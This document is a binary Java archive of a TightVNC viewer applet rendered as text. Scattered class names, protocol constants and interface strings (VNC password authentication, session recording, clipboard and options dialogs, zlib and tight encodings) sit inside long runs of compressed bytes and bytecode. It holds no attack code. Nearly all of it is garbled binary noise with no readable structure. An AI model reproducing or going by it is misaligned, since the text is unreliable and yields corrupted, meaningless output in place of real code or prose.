:ܖGt&jIv?"|κS,?u͝L)ԇͧ77:T%Kf<$ -/- p$hYHyaj4%ςjruQ PȯƒhD^FW/w!ORkM߫!(/q=qňU29ZA0J G*h4C]>=MP C7~oyP'* uh!ZFG9׃7o: N j/G-@B *xEC~U%@-N}j[ukşZ9)2%D7a&q]+tXƵ᭠?h_dh~Cj"2 q갬E?X>*̛MCSGb߱={w,!]H,?;LhuDyucq"nW>fMH ܮNH^_)@k8@ A%IF)peU=Rp4vz>$:{1u|⛫)zĦDzB$f8ʲvs{hgwOJ1,G&'V8U~6g|p O}'ƿPKDYPK]e: META-INF/PK]e:It%]^=META-INF/MANIFEST.MFPK]e:рEn%EVncViewer.classPK]e:ꃔ(8P&RfbProto.classPK]e:uy.nSo OAuthPanel.classPK]e:-~Z6_h$UVncCanvas.classPK]e:!vLo0VncCanvas2.classPK]e: OptionsFrame.classPK]e:%r ClipboardFrame.classPK]e:T?Sn  ButtonPanel.classPK]e::jKDesCipher.classPK]e:"uCapabilityInfo.classPK]e:=`CapsContainer.classPK]e:Io {RecordingFrame.classPK]e:[OV SessionRecorder.classPK]e:8ݞH=SocketFactory.classPK]e: ?]HTTPConnectSocketFactory.classPK]e:HTTPConnectSocket.classPK]e:<}ReloginPanel.classPK]e:ZL ~InStream.classPK]e:Q7okMemInStream.classPK]e:DYxZlibInStream.classPKM-_ C D E F G H I J K LMN O PQ R ST U V WXYmaxStringLengthIb[Bptrendcheck(II)ICodeLineNumberTable Exceptions(I)VreadS8()IreadS16readS32readU8readU16readU32 readString()Ljava/lang/String;skip readBytes([BII)V readOpaque8 readOpaque16 readOpaque32 readOpaque24A readOpaque24BposbytesAvailable()Zgetbuf()[Bgetptrgetendsetptroverrun()V SourceFile InStream.java   = #  $% &% '% *% java/lang/Exception#InStream max string length exceeded >Z java/lang/String >[\ ]^ (% )% >?InStreamjava/lang/Object(Ljava/lang/String;)V([C)Vjava/lang/System arraycopy*(Ljava/lang/Object;ILjava/lang/Object;II)V!  Y1*h`*#*`* ***dl=! !##/%" # 5*`* *W!) *+" $% .***YZ`3!0" &% N2***YZ`3<**YZ`3~=x! 45" '% h***YZ`3<**YZ`3~=**YZ`3~>**YZ`3~6xxx!9:+;@<V=" (% ! *~!A" )% *~!E" *% * ~!I" +, Y* < Y M>2*d`6,**YZ`3UϻY,!. OP QSTU!V-W3XMZP\" -# I*=*Y`d<!ef ghij" ./ m9`60*d6**+*Y``=б!"op qr%s0t5u8v" 0% *!|" 1% *!" 2% * !" 3% gG***YZ`3<**YZ`3=**YZ`3>xxx!8" 4% dD***YZ`3<**YZ`3=**YZ`3>xx!8" 5%67 )**!89 *!:% *!;% *!<# *!=" >? *!@?  !bAB-%     ([BII)VCodeLineNumberTablepos()Ioverrun(II)I Exceptions SourceFileMemInStream.java   !" #"java/lang/Exception"MemInStream overrun: end of stream $ MemInStreamInStream()Vb[BptrIend(Ljava/lang/String;)V!   >**+**`   *  " Y PAD-l : ; < = > ?@ : A B C D EFG HI JK L M N O P Q R STUVWdefaultBufSizeI ConstantValue@ underlying LInStream;bufSize ptrOffsetinflaterLjava/util/zip/Inflater;bytesIn(I)VCodeLineNumberTable()V setUnderlying(LInStream;I)Vreset Exceptionspos()Ioverrun(II)I decompress SourceFileZlibInStream.java *. % XY & Z [ java/util/zip/Inflater '( *+ #$ ) 7.java/lang/Exception+ZlibInStream overrun: max itemSize exceeded *\*ZlibInStream overrun: no underlying stream] ^_ `+ a4 b4 cd ef gh ij k+!java/util/zip/DataFormatExceptionZlibInStream: inflate failed ZlibInStreamInStreamb[Bendptr(Ljava/lang/String;)Vjava/lang/System arraycopy*(Ljava/lang/Object;ILjava/lang/Object;II)Vcheckgetendgetptr needsInput()Zgetbuf()[BsetInput([BII)Vinflate([BII)Isetptr! !"#$% & '() *+,Z.*******ZZ*Y - "- *., *@ -"/0,9*+ * **Z-%& '(1.,[+**Z* * * ** -+ ,./0%2*3234," **`-556,* Y* Y**d*****d*Y*`*Y*d** * h* *l=-:89:;#=/>H@UAbBgDoEvHIK27.,* * * d<* * <* * * * * ****d=*Y`* *Y d * * `LY->UVW X%Z/[E^^`harb|cgefh289-M      h g  g      @   g   % g %  +  . g g g g g B B B  B B g F F  J F J J J B B  . W  % g  g g recordingZ fnameFieldLjava/awt/TextField; browseButtonLjava/awt/Button; statusLabelLjava/awt/Label; recordButton nextButton closeButtonviewer LVncViewer; checkSecurity()ZCodeLineNumberTable(LVncViewer;)V nextFilename&(Ljava/lang/String;)Ljava/lang/String;nextNewFilename browseFilestartRecording()V stopRecording windowClosing(Ljava/awt/event/WindowEvent;)VwindowActivatedwindowDeactivated windowOpened windowClosedwindowIconifiedwindowDeiconifiedactionPerformed(Ljava/awt/event/ActionEvent;)V SourceFileRecordingFrame.java user.dir file.separator java/lang/SecurityException ,SecurityManager restricts session recording. TightVNC Session Recording | vwjava/lang/StringBuffer | vncsession.fbs   java/awt/Paneljava/awt/GridBagLayout   java/awt/GridBagConstraints   java/awt/TextField | mn   java/awt/ButtonBrowse op java/awt/Insets | java/awt/Label+File name to save next recorded session in: qrRecord sp Next file tpClose up    ! "# $% &'( )*java/lang/NumberFormatException +,java/lang/String |- . ~ java/io/File /y0 1 java/awt/FileDialogSave next session as... |2 3 45 67 8 9 &, :; <Status: Recording... java/awt/Font Helvetica |=> ?@A BC DEStop recording F klG HStatus: Not recording. ICJ KL y RecordingFramejava/awt/Framejava/awt/event/WindowListenerjava/awt/event/ActionListenerjava/lang/SystemgetSecurityManager()Ljava/lang/SecurityManager;java/lang/SecurityManagercheckPropertyAccess(Ljava/lang/String;)V getPropertyoutLjava/io/PrintStream;java/io/PrintStreamprintlnappend,(Ljava/lang/String;)Ljava/lang/StringBuffer;toString()Ljava/lang/String;java/awt/Container setLayout(Ljava/awt/LayoutManager;)V gridwidthIfillweightxD(Ljava/lang/String;I)VsetConstraints4(Ljava/awt/Component;Ljava/awt/GridBagConstraints;)Vadd*(Ljava/awt/Component;)Ljava/awt/Component;addActionListener"(Ljava/awt/event/ActionListener;)Vweighty(IIII)VinsetsLjava/awt/Insets;java/awt/WindowpackaddWindowListener"(Ljava/awt/event/WindowListener;)Vlength()IcharAt(I)C substring(II)Ljava/lang/String;java/lang/IntegerparseInt(Ljava/lang/String;)IvalueOf(I)Ljava/lang/String;([CII)V(C)Ljava/lang/StringBuffer;existsjava/awt/TextComponentgetText&(Ljava/awt/Frame;Ljava/lang/String;I)V getParent setDirectoryjava/awt/Dialog setVisible(Z)VgetFile getDirectoryequals(Ljava/lang/Object;)ZsetText(Ljava/lang/String;II)Vjava/awt/ComponentsetFont(Ljava/awt/Font;)Vjava/awt/ColorredLjava/awt/Color; setForeground(Ljava/awt/Color;)VsetLabel VncViewersetRecordingStatusblackjava/util/EventObject getSource()Ljava/lang/Object; ghijklmnopqrsptpupvw xyzn*K*#**WL {* 01346:78&9(<|}z@ 4* *+ * YMYNY:-Y:*Y,@ !*!"-*!#W*!*$*%Y&'(*("-*(#W*(*)Y:*Y:*+Y ,-.Y/0:"*#W*+Y,--"*-#W*+Y  ,-*.Y102*2"**2#W*+Y,-*%Y3'4*4"**4#W*4*)*%Y5'6*6"**6#W*6*)*%Y7'8*8"**8#W*8*)*9*:**;{>DF K/Q7R@SFUOVUW[XcZq[|\]_`bcdeijlmnopr tuwx%y5{=|C~IOaoz &*.3~z+<=>6'+d=.+d>?`6d>:Y0UY0UY0U:A:<( YBY.D.1@{2  *.3GNW|zS+M*,EMFY,GN-H:,{yzFY*!IGLJY*KLM,+MN,O,Pq,QN:-<---<#(/4;BXlzsC*2UV*2WYX YZ*2[\*4]^*_* *!I`{ &/4Bzm=*2aV*2WYX YZ*2b\*43^*_* `{ &/4<z"*c{  z{z{z{z{z{z{z+d*(*e~*_w*fp+d*4**_ *fW*9*!**!IT>+d*6#*!**!IT*_*f+d*8*c{>! "# %+&2'9)=*R-].o/v0}236P-m DE F GH I J KL M N O P Q R ST UV WX YZ [ \ K] ^ _ ^`afLjava/io/FileOutputStream;dfLjava/io/DataOutputStream; startTimeJlastTimeOffsetbuffer[B bufferSizeI bufferBytes(Ljava/lang/String;I)VCodeLineNumberTable Exceptions(Ljava/lang/String;)Vclose()V writeHeader writeByte(I)V writeShortBE writeIntBE writeShortLE writeIntLEwrite([BII)V([B)Vflush(Z)VprepareWriting SourceFileSessionRecorder.java -4java/io/FileOutputStream -2 !"java/io/DataOutputStream -b #$c de %& '& *+ ,+ () -. ?4java/io/IOException 34 FBS 001.000 f ghi <> A4 ?@ jk <= l7SessionRecorderjava/lang/Object(Ljava/io/OutputStream;)Vjava/lang/SystemcurrentTimeMillis()Jjava/lang/StringgetBytes()[Bjava/io/FilterOutputStream arraycopy*(Ljava/lang/Object;ILjava/lang/Object;II)VwriteInt  !"#$%&'&()*+,+-./x@**Y+*Y** * * * **  0& %&'(&)++0,5-?.1-2/$*+0 12134/[*L**** 0":<;> ?@AB154/) *0 I J167/7** *Y Z` T0QRS187/P,** *Y Z` zT* *Y Z` T0Z[\+]197/zJ** * zT* * `zT* * `zT* * `T*Y ` 0def"g2h?iIj1:7/P,** *Y Z` T* *Y Z` zT0qrs+t1;7/zJ** * T* * `zT* * `zT* * `zT*Y ` 0{|}~/?I1<=/`*Z* * d** `* * * d66+* * *Y ` `=d>06 '58GRW\_1<>/% *++0 1?@/xD* ?** ** * `~** *  * 0"'38<C1?4/"*0 1A4/R** ** e * * d*0 $)1BCPA- -ABC DEF G HIJK L ,M NO HP NQ RS TUV W ,XY AZ A [\ ]^ _ ` a [b c d e d Hf gh Hi jk jlm Rnopq passwordFieldLjava/awt/TextField;okButtonLjava/awt/Button;(LVncViewer;)VCodeLineNumberTablemoveFocusToDefaultField()VactionPerformed(Ljava/awt/event/ActionEvent;)V getPassword()Ljava/lang/String; Exceptionsr SourceFileAuthPanel.java 38java/awt/LabelVNC Authentication 3s java/awt/Font Helvetica 3tu vw Password:java/awt/TextField 3x /0y z{ |} ~{ } java/awt/ButtonOK 3 12java/awt/GridBagLayoutjava/awt/GridBagConstraints java/awt/Insets 3 8  8 8java/lang/InterruptedException < AuthPaneljava/awt/Paneljava/awt/event/ActionListenerjava/lang/Exception(Ljava/lang/String;I)V(Ljava/lang/String;II)Vjava/awt/ComponentsetFont(Ljava/awt/Font;)V(I)Vjava/awt/ColorblackLjava/awt/Color; setForeground(Ljava/awt/Color;)Vwhitejava/awt/TextComponent setBackground setEchoChar(C)V(Ljava/lang/String;)Vjava/awt/Container setLayout(Ljava/awt/LayoutManager;)V gridwidthI(IIII)VinsetsLjava/awt/Insets;setConstraints4(Ljava/awt/Component;Ljava/awt/GridBagConstraints;)Vadd*(Ljava/awt/Component;)Ljava/awt/Component;filladdActionListener"(Ljava/awt/event/ActionListener;)Vipadx requestFocusjava/util/EventObject getSource()Ljava/lang/Object; setEnabled(Z)Vjava/lang/ObjectnotifywaitgetText ,-./012345%*YM,YY N* Y * * * **YY:Y:*Y,*, W!Y-*- W* ** W* *"!Y#*** W**$6 &'(**,7-A.K/T1a3j4s6y89:;=>?@ACDEHIJKLMN$O785$* %6 XY!9:5G#+&* +&** '*(6bcd"f!;<58*)L* +*6opq=>?@P-^ % &' ( )*+, - . )/ 0 123 4 15 67 89 :; :< =>?@A reloginButtonLjava/awt/Button; closeButtonviewer LVncViewer;(LVncViewer;)VCodeLineNumberTableactionPerformed(Ljava/awt/event/ActionEvent;)V SourceFileReloginPanel.java B java/awt/FlowLayout CD EFjava/awt/Button Login again G  HI JKL MN Close window  OPQ RBS TUV WX YZ[ \] ReloginPaneljava/awt/Paneljava/awt/event/ActionListener()V(I)Vjava/awt/Container setLayout(Ljava/awt/LayoutManager;)V(Ljava/lang/String;)Vadd*(Ljava/awt/Component;)Ljava/awt/Component;addActionListener"(Ljava/awt/event/ActionListener;)V VncViewerinSeparateFrameZvncFrameLjava/awt/Frame;java/awt/Windowdisposejava/util/EventObject getSource()Ljava/lang/Object;java/applet/AppletgetAppletContext()Ljava/applet/AppletContext;getDocumentBase()Ljava/net/URL;java/applet/AppletContext showDocument(Ljava/net/URL;)V \**+*Y*Y ** W* * * !*Y ** W**  . +, -."/+031=2J3S4[6!!"[3* *+* ** < =>?2@#$PAD-    createSocket:(Ljava/lang/String;ILjava/applet/Applet;)Ljava/net/Socket; Exceptions 9(Ljava/lang/String;I[Ljava/lang/String;)Ljava/net/Socket; SourceFileSocketFactory.java SocketFactoryjava/lang/Objectjava/io/IOException PAD-D &E %FG H IJK H L M NO P %Q R IS TUV E %W XY %Z [\ [] %^ _` ab _c _d ef gh [i jklmnoptextAreaLjava/awt/TextArea; clearButtonLjava/awt/Button; closeButton selectionLjava/lang/String;viewer LVncViewer;(LVncViewer;)VCodeLineNumberTable setCutText(Ljava/lang/String;)VwindowDeactivated(Ljava/awt/event/WindowEvent;)V windowClosingwindowActivated windowOpened windowClosedwindowIconifiedwindowDeiconifiedactionPerformed(Ljava/awt/event/ActionEvent;)V SourceFileClipboardFrame.javaTightVNC Clipboard 27 01java/awt/GridBagLayout 2qr stjava/awt/GridBagConstraints uv wv xyjava/awt/TextArea 2z )* {| }~ yjava/awt/ButtonClear +, Close -, q ./ 7 q   67  ClipboardFramejava/awt/Framejava/awt/event/WindowListenerjava/awt/event/ActionListener()Vjava/awt/Container setLayout(Ljava/awt/LayoutManager;)V gridwidthIfillweightyD(II)VsetConstraints4(Ljava/awt/Component;Ljava/awt/GridBagConstraints;)Vadd*(Ljava/awt/Component;)Ljava/awt/Component;weightxaddActionListener"(Ljava/awt/event/ActionListener;)Vjava/awt/WindowpackaddWindowListener"(Ljava/awt/event/WindowListener;)Vjava/awt/TextComponentsetTextjava/awt/Component isVisible()Z selectAllgetText()Ljava/lang/String;java/lang/Stringequals(Ljava/lang/Object;)Z VncViewer setVisible(Z)Vjava/util/EventObject getSource()Ljava/lang/Object; %&'()*+,-,./01 2347**+YM*,YN- - - * Y( ,*-**W- -- - *Y,*-**W***Y,*-**W*****5j)+ -.0 1%2*3/5=6F7O9T:Y;^<c>p?y@ACDEFHJK674D*+*+* *5ST UVX894S/**** ****!5ab#c.e:94"*"5 lm;945s<945t=945u>945v?945w@A4P(+#**$+#**"5 "'BCP-v y x x x x x x x x x x x x x x          x  ! x !   ]  x x ] ] ]  x x x   ] x x     x x x x x x x   x ] x   ! "#$%&'()*+,-~./0123456789:;<=>?@Anames[Ljava/lang/String;values[[Ljava/lang/String; encodingIndexI ConstantValuecompressLevelIndexjpegQualityIndexcursorUpdatesIndexuseCopyRectIndexeightBitColorsIndexmouseButtonIndex viewOnlyIndexscaleCursorIndexshareDesktopIndex labels[Ljava/awt/Label;choices[Ljava/awt/Choice; closeButtonLjava/awt/Button;viewer LVncViewer;preferredEncoding compressLevel jpegQuality useCopyRectZrequestCursorUpdatesignoreCursorUpdateseightBitColorsreverseMouseButtons2And3 shareDesktopviewOnly scaleCursor autoScale scalingFactor(LVncViewer;)VCodeLineNumberTabledisableShareDesktop()V setEncodingssetColorFormatsetOtherOptionsitemStateChanged(Ljava/awt/event/ItemEvent;)VactionPerformed(Ljava/awt/event/ActionEvent;)V windowClosing(Ljava/awt/event/WindowEvent;)VwindowActivatedwindowDeactivated windowOpened windowClosedwindowIconifiedwindowDeiconified SourceFileOptionsFrame.javaTightVNC Options B }~java/awt/Label java/awt/Choice java/awt/GridBagLayout C DEjava/awt/GridBagConstraints F G HI JK LM  NBjava/awt/ButtonClose OPQ R STAuto UBDefault6EnableYesNoNormalV WX YZ U[ Scaling Factor \] ^_ `ab cdjava/lang/NumberFormatException e fg hi jk RRECoRREHextileZRLEZlibTight Disable Ignore Reversed lmn og % pZ qr st ugjava/lang/StringEncodingCompression levelJPEG image qualityCursor shape updates Use CopyRectRestricted colorsMouse buttons 2 and 3 View onlyScale remote cursor Share desktopRaw12345789JPEG off050%75%125%150% OptionsFramejava/awt/Framejava/awt/event/WindowListenerjava/awt/event/ActionListenerjava/awt/event/ItemListener(Ljava/lang/String;)Vjava/awt/Container setLayout(Ljava/awt/LayoutManager;)Vfill gridwidthsetConstraints4(Ljava/awt/Component;Ljava/awt/GridBagConstraints;)Vadd*(Ljava/awt/Component;)Ljava/awt/Component;addItemListener (Ljava/awt/event/ItemListener;)VaddItemaddActionListener"(Ljava/awt/event/ActionListener;)Vjava/awt/WindowpackaddWindowListener"(Ljava/awt/event/WindowListener;)Vselect VncViewer readParameter'(Ljava/lang/String;Z)Ljava/lang/String;equalsIgnoreCase(Ljava/lang/String;)Z(I)Vlength()IcharAt(I)C substring(II)Ljava/lang/String;java/lang/IntegerparseInt(Ljava/lang/String;)Ijava/awt/Component setEnabled(Z)VgetSelectedItem()Ljava/lang/String;equals(Ljava/lang/Object;)Zvc LVncCanvas; VncCanvas enableInputendsWithcreateSoftCursorjava/util/EventObject getSource()Ljava/lang/Object; setVisible xyz{|}~******** * * * * * *+YM*,YN-6 *Y 2S-,*2-**2W*YS-,*2-**2W*2*62*222 ބe*!Y"#$-,*$-**$W*$*%*&**'*2()*2*)*2+)*2,)*2-)*2.)*2/)*2.)*2.)* 2-)6 P* 20:562&221*22Ԅ*3*d4*50:j(1 *3X6d7%6d8:*94 :*d4*4 *4*4 *4*;*<*=`il:Dk><JGKRmWo_pdrlsqu}vwxy{|}~ u$-6>BGR]hs~ ).8@Q`ilnt|7* 2>* 2> 4x**2?-@A*B<*2?C@ *B*2?D@ *B*2?E@ *Bk*2?F@ *BQ*2?G@*B<5*2?H@*B<*2?(@*B**2?9I M*I*I *I *I*2>*2>**2?9J M*J*J *J *J**2?K@L*L**2?M@N*O:":&*2CK\du~ " #(8=W^pw\4**2?-@P*P<*2>*2>),.)/30o**2?Q@R**2?-@S*T*T*SU** 2?-@V*2?L+WX++6d8L*+9Y M*Y*Y *Y*Y*L**N#*S*2>*2>*2>*2>*T *TZy:Z:=&?0@FBYEdFmGyIMKLNOQRSUVXYZ+[M,*2+,*2!,*2,*2 ,*2*;,*2K*=D,*2 *<3,*2$,* 2,*2,*2*=* bd7j;lEmLpVr]ty|1+[*$*\ "*\  ]Y^SY_SY`SYaSYbSYcSYdSYeSYfSY gS  hY]Y(SYiSYCSYDSYESYGSYHSYFSSY ]Y*SYjSYkSYlSYmSYnSY+SYoSYpSY qSSY ]YrSYsSYjSYkSYlSYmSYnSY+SYoSY pSY qSSY]Y,SYMSYKSSY]Y-SY.SSY]Y-SY.SSY]Y/SYQSSY]Y-SY.SSY]Y.SYtSYuSYvSYwSSY ]Y-SY.SS $>1PA-0                                ! " # $ % & ' ( )*+ ,- . ' /0 21 223 245 26  7 89 : ;< ]= >?@A B C D E F GH I >JKL M ]N ]O ]P )QR US UTUVWXYZ ]S[ _ \ ] ^ _ `ab _cdefghijklmnopqrstuvwxyz{|}~   _ _  _                     ?                        >   PQRSTUVWc           '  )      versionMsg_3_3Ljava/lang/String; ConstantValueversionMsg_3_7versionMsg_3_8StandardVendorTridiaVncVendorTightVncVendorSecTypeInvalidI SecTypeNoneSecTypeVncAuth SecTypeTight NoTunnelingSigNoTunnelingAuthNoneAuthVNC AuthUnixLogin SigAuthNone SigAuthVNCSigAuthUnixLogin VncAuthOK VncAuthFailedVncAuthTooManyFramebufferUpdateSetColourMapEntriesBell ServerCutTextEndOfContinuousUpdatesSigEndOfContinuousUpdatesSetPixelFormatFixColourMapEntries SetEncodingsFramebufferUpdateRequest KeyboardEvent PointerEvent ClientCutTextEnableContinuousUpdatesSigEnableContinuousUpdates EncodingRawEncodingCopyRect EncodingRRE EncodingCoRREEncodingHextile EncodingZlib EncodingTight EncodingZRLEEncodingCompressLevel0EncodingQualityLevel0EncodingXCursorEncodingRichCursorEncodingPointerPosEncodingLastRect EncodingNewFBSize!SigEncodingRawSigEncodingCopyRectSigEncodingRRESigEncodingCoRRESigEncodingHextileSigEncodingZlibSigEncodingTightSigEncodingZRLESigEncodingCompressLevel0SigEncodingQualityLevel0SigEncodingXCursorSigEncodingRichCursorSigEncodingPointerPosSigEncodingLastRectSigEncodingNewFBSizeMaxNormalEncoding HextileRawHextileBackgroundSpecifiedHextileForegroundSpecifiedHextileAnySubrectsHextileSubrectsColouredTightMinToCompress TightExplicitFilter TightFill TightJpeg TightMaxSubencodingTightFilterCopyTightFilterPaletteTightFilterGradienthostportsockLjava/net/Socket;osLjava/io/OutputStream;recLSessionRecorder;inNormalProtocolZviewer LVncViewer;isLjava/io/DataInputStream; numBytesReadJbrokenKeyPressedwereZlibUpdatesrecordFromBeginningzlibWarningShowntightWarningShownnumUpdatesInSessiontimingtimeWaitedIn100us timedKbits serverMajor serverMinor clientMajor clientMinorprotocolTightVNC tunnelCapsLCapsContainer;authCaps serverMsgCaps clientMsgCaps encodingCapsclosed desktopNameframebufferWidthframebufferHeight bitsPerPixeldepth bigEndian trueColourredMaxgreenMaxblueMaxredShift greenShift blueShift updateNRects updateRectX updateRectY updateRectW updateRectHupdateRectEncoding copyRectSrcX copyRectSrcYeventBuf[B eventBufLen CTRL_MASK SHIFT_MASK META_MASKALT_MASK pointerMask oldModifiersgetNumBytesRead()JCodeLineNumberTable!(Ljava/lang/String;ILVncViewer;)V Exceptionsclose()V()ZreadVersionMsgwriteVersionMsgnegotiateSecurity()IreadSecurityTypeselectSecurityTypeauthenticateNoneauthenticateVNC(Ljava/lang/String;)VreadSecurityResultreadConnFailedReasoninitCapabilitiessetupTunnelingnegotiateAuthenticationTightreadCapabilityList(LCapsContainer;I)VwriteInt(I)VwriteClientInitreadServerInit startSession closeSessionsetFramebufferSize(II)VreadServerMessageTypereadFramebufferUpdatereadFramebufferUpdateRectHdr readCopyRectreadServerCutText()Ljava/lang/String;readCompactLenwriteFramebufferUpdateRequest(IIIIZ)VwriteSetPixelFormat (IIZZIIIIII)VwriteFixColourMapEntries (II[I[I[I)VwriteSetEncodings([II)VwriteClientCutTextwritePointerEvent(Ljava/awt/event/MouseEvent;)V writeKeyEvent(Ljava/awt/event/KeyEvent;)V(IZ)VwriteModifierKeyEventsrecordCompressedData([BII)V([B)VrecordCompactLen startTiming stopTimingkbitsPerSecond timeWaited readFully available skipBytes(I)IreadU8readU16readU32 SourceFile RfbProto.java   yz z z z    {| q r  java/net/Socket  st   SocketFactory z   java/lang/Exception java/io/IOException  java/io/DataInputStreamjava/io/BufferedInputStream    }~  uv z    z RFB socket closed  wx java/lang/StringBufferHost  port  is not an RFB server    .RFB server does not support protocol version 3    RFB 003.008   RFB 003.007  RFB 003.003 z     'Unknown security type from RFB server:  ,Server did not offer supported security typeNo authentication      DesCipher  VNC authentication : success: failed: failed, too many tries: unknown result java/lang/String CapsContainer     STDVNOAUTH__  VNCAUTH_$Standard VNC password authenticationCOPYRECTStandard CopyRect encodingRRE_____Standard RRE encodingCORRE___Standard CoRRE encodingHEXTILE_Standard Hextile encodingZRLE____Standard ZRLE encodingTRDVZLIB____ Zlib encodingTGHTTIGHT___Tight encodingCOMPRLVLCompression levelJPEGQLVLJPEG quality levelX11CURSRX-style cursor shape updateRCHCURSRRich-color cursor shape updatePOINTPOSPointer position updateLASTRECTLastRect protocol extensionNEWFBSIZFramebuffer size change      'No suitable authentication scheme foundCapabilityInfo     z       z z       SessionRecorder     z z          GWarning: Raw encoding will be used instead of Zlib in recorded session.DWarning: Re-compressing Tight-encoded updates for session recording.(Framebuffer update rectangle too large: x at (,)     z       ! "# $ % & java/util/zip/Deflater ' ( )*    +,  - . /RfbProtojava/lang/ObjectNOTUNNELULGNAUTHCUS_EOCUCUC_ENCURAW_____ VncViewer socketFactory(Ljava/lang/String;I)Vjava/lang/ClassforName%(Ljava/lang/String;)Ljava/lang/Class; newInstance()Ljava/lang/Object; inAnApplet createSocket:(Ljava/lang/String;ILjava/applet/Applet;)Ljava/net/Socket;mainArgs[Ljava/lang/String;9(Ljava/lang/String;I[Ljava/lang/String;)Ljava/net/Socket;java/lang/ThrowableprintStackTrace getMessagegetInputStream()Ljava/io/InputStream;(Ljava/io/InputStream;I)V(Ljava/io/InputStream;)VgetOutputStream()Ljava/io/OutputStream;java/lang/SystemoutLjava/io/PrintStream;java/io/PrintStreamprintlnappend,(Ljava/lang/String;)Ljava/lang/StringBuffer;(I)Ljava/lang/StringBuffer;toStringgetBytes()[Bjava/io/OutputStreamwritelength substring(II)Ljava/lang/String;indexOf arraycopy*(Ljava/lang/Object;ILjava/lang/Object;II)Vencrypt ([BI[BI)Vadd:(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V numEnabled getByOrder(I[B[B)Venable(LCapabilityInfo;)ZoptionsLOptionsFrame; OptionsFrame shareDesktopdisableShareDesktop writeHeader writeIntBE writeShortBE writeByteflushjava/awt/event/InputEvent getModifiersreverseMouseButtons2And3java/awt/AWTEventgetIDjava/awt/event/MouseEventgetXgetYjava/awt/event/KeyEvent getKeyChar()C getKeyCode isActionKey isControlDownsetInputfinishdeflate([B)IcurrentTimeMillisjava/io/FilterInputStreamreadUnsignedBytereadUnsignedShortreadInt DC@f u x           gi    ! "  # $ % &' ()*+  , - . &/ 01 23 45 (678  9 : ; 0< 2= 4> ?@ A BC DE FG HI JK LM NOPQkRmSoTqUvVyWsX{Y}Z[\]^_ `a b c 0d ef g hi 0j ek lm ln  o p qr stuvwxyz{|}~zzzzz z    zz    zz                  0 e  4**** ****H** *- *+ * * *Y* * n* ::* ** * * ** * * :Y*YY*@ !"**#$*%*&(* )^v %*/49>H^jt~ t0***+,-.*/*/0*/L+'**  "'*+/ *+ ^& L*+1+3R+3F+3B+3 }+30u+39m+30e+39]+30T+39K+3.B+309+390+ 30'+ 39+ 30+ 39 + 3 2Y2Y345* 565* 7859:*+30ddh+30d h`+30d`;*+30ddh+ 30d h`+ 30d`<*; Y=:&  #$&'%)d*>*; *<*?*$@AB2*<*?*$CAB*?*$DAB*E*F2 1234+546:7I9N:Z<_=c>-*? *G*HFoC*I<" *JY2Y3K579:OQ S$T&W(Y<*L= *JN*-16#-3*E*$M6!-3 -3 -3<  YN:*$MZbef ghjkn#o,p1q:r=nCwLx\yazdwj~nx0*? *OP M*,1+Q +RL+S> +RLYTYTYTYTYTYTYTYT:+A+QTUYV:,,W,,W*$,B*XP> !&-Udox*I=y6^,2Y3+5Y59.e*?*JY2Y3+5Z59:Y2Y3+5[59:Y2Y3+5\579:*  9<EIdB*I<M*,1Y]Y,^: (*_Y`a*_Y`b*_Y`c*_Y`d*_Y`e*bfgOh*bfijh*efklh*efmnh*efoph*efqrh*efsth*euvwh*exyzh*ex{|h*ex}~h*exh*exh*exh*e xh*e!xhZ !,7ESao}'@*I<**a*  K*I<**b=*b#*b> *ػY:.    !!*"4#9$; A'u=::6+*I>*1*1+YWձ& 01 2345%662<8j:M,z~T,z~T,z~T,~T*$,B?@AB(C1D9ES+* *$M *$M* L MO Q*RY******L**L**L**L********L**L**LL*+1*I=N*-1*]Y-^*E8*6*6*6*W**c**d**e*r`abc d0e@fHgPhXi`jhkpltmyn~opqtuvwxyz{~$*Y+/*/*/DA*/*/**/*Y TYTYTYTYTYTYTYTYTY TY TY TY TY TYTYTM*/,*/*Q*/*A*****B '2=8*/*/0*/+ ** Y)*L<*/*/* */  'o;*W***/*/*/*/**Y`"%0:b**********I** ***/* */*/**/**/**/**)*"*,.**/2*/****,.** ***`***`*JY2Y35*75*75*75*759:r (CHOW^it aZ.*****/*/**/*!""#-%E*W*I<M*,1]Y,^-. /01 L+*LO=+.~>+.~:+*LO+.~x>+.~+*LO+.~x>*/$*6*/+.F=> ? @AB%C(D4E>FEGHHULcMlNwM}P :TTz~T~Tz~T~Tz~T~Tz~T ~T*$B6 \^ _`'a1b>cHdVeafpg|ij :  T T T T T z~T  ~T  z~T  ~T  z~T  ~T T  T  T*$ BFwy z{|&}6~EQ`l{:h`:Tz~T~Tz~T~T6h`-.z~Th``-.~Th``.z~Th``.~Th``.z~Th``.~Th*$BB '4>G^th`N-T-z~T-~T6X-h`+.z~T-h`+.z~T-h`+.z~T-h`+.~T*$-B2  !*>Rgyb+Q`M,T,+Qz~T,+Qz~T,+Qz~T,+Q~T+A,+QT*$,B&  -=JYaJ+=>6* >6+3~*~=H~*~=4*,+"*~ ~=~~=**+6+666**YZ`T**YZ`*T**YZ`z~T**YZ`~T**YZ`z~T**YZ`~T***$**ı$ &-2:@FNV`el t z -#4$9'I(+==Ơ"+> +>+șO+ǫG!"#$%&'(pqrstuvw$x+y2z9{@6%6666 66666666666666666 Y+ޙ `D+ 2 9@66668 6*" Ƥ  Cş;3ğ+#֟ D*.*'**+**$*****+***$**ı?3: ; =>?0A1HAKHRSTUVW#X*Y1Z8[?\F]M^T_[`baibpcwd~efgiuwxy{|}~ ()quz**YZ`T**YZ`T**YZ`T**YZ`T**YZ`z~T**YZ`z~T**YZ`z~T**YZ`~T& +<Mf}~* ~*~~* ~*~~* ~*~~* ~*~* *  ):FWew|{CY:+dl` `6:6**/&  "'06B% *++ ^M>,~T?,d\3T,z~T?,d\3T,z~T*/,. #18DS]Q)*%*(**)i*(m)*(  ! ( F"*%*(*)m**)m(!&*)i*(m*(% *++ %& 7*%7*"+*%\7ei7hl6  h  h7 l  l7*Y(a(*Y) a)*Ya:)* +-/ 0%102:6P7b9m:y=> *"A6*"=*YaG HI4*"<*Y aMNO6*"<*YaSTU6*"<*YaYZ[-                               "          -  -     - - - -                     L L L L         [  ! " [# [$ %& %' ( ) * + , - ./ 01 02 03 04 5 67 68 %9 : " " 6; <= > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ `ab c d e f g h i jk lm %n o p qrs t u v wx y wz { | } ~        w        w                             % %       [                             [    viewer LVncViewer;rfb LRfbProto;cm8Ljava/awt/image/ColorModel;cm24colors[Ljava/awt/Color; bytesPixelImaxWidth maxHeight scalingFactor scaledWidth 